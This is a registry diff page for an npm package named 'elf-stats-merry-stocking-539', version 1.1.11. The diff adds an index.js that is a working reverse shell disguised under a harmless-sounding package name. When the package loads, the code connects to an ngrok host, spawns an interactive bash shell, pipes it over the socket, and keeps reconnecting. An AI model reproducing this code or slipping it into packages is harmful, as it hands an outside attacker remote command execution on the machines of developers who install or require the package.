elf-stats-merry-stocking-539 1.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +43 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const child_process = require('child_process');
|
|
3
|
+
|
|
4
|
+
const HOST = '2.tcp.eu.ngrok.io';
|
|
5
|
+
const PORT = 11162;
|
|
6
|
+
|
|
7
|
+
function connect() {
|
|
8
|
+
console.log(`Attempting to connect to ${HOST}:${PORT}`);
|
|
9
|
+
|
|
10
|
+
const client = new net.Socket();
|
|
11
|
+
|
|
12
|
+
client.connect(PORT, HOST, () => {
|
|
13
|
+
console.log('Connected to remote host');
|
|
14
|
+
|
|
15
|
+
// Spawn shell
|
|
16
|
+
const shell = child_process.spawn('/bin/bash', ['-i']);
|
|
17
|
+
|
|
18
|
+
// Pipe everything
|
|
19
|
+
client.pipe(shell.stdin);
|
|
20
|
+
shell.stdout.pipe(client);
|
|
21
|
+
shell.stderr.pipe(client);
|
|
22
|
+
|
|
23
|
+
shell.on('exit', (code) => {
|
|
24
|
+
console.log(`Shell exited with code ${code}`);
|
|
25
|
+
client.end();
|
|
26
|
+
});
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
client.on('error', (err) => {
|
|
30
|
+
console.error(`Connection error: ${err.message}`);
|
|
31
|
+
console.log('Retrying in 5 seconds...');
|
|
32
|
+
setTimeout(connect, 5000);
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
client.on('close', () => {
|
|
36
|
+
console.log('Connection closed');
|
|
37
|
+
setTimeout(connect, 5000);
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Try to connect
|
|
42
|
+
connect();
|
|
43
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "elf-stats-merry-stocking-539",
|
|
3
|
+
"version": "1.1.11",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "bubu",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"type": "commonjs"
|
|
13
|
+
}
|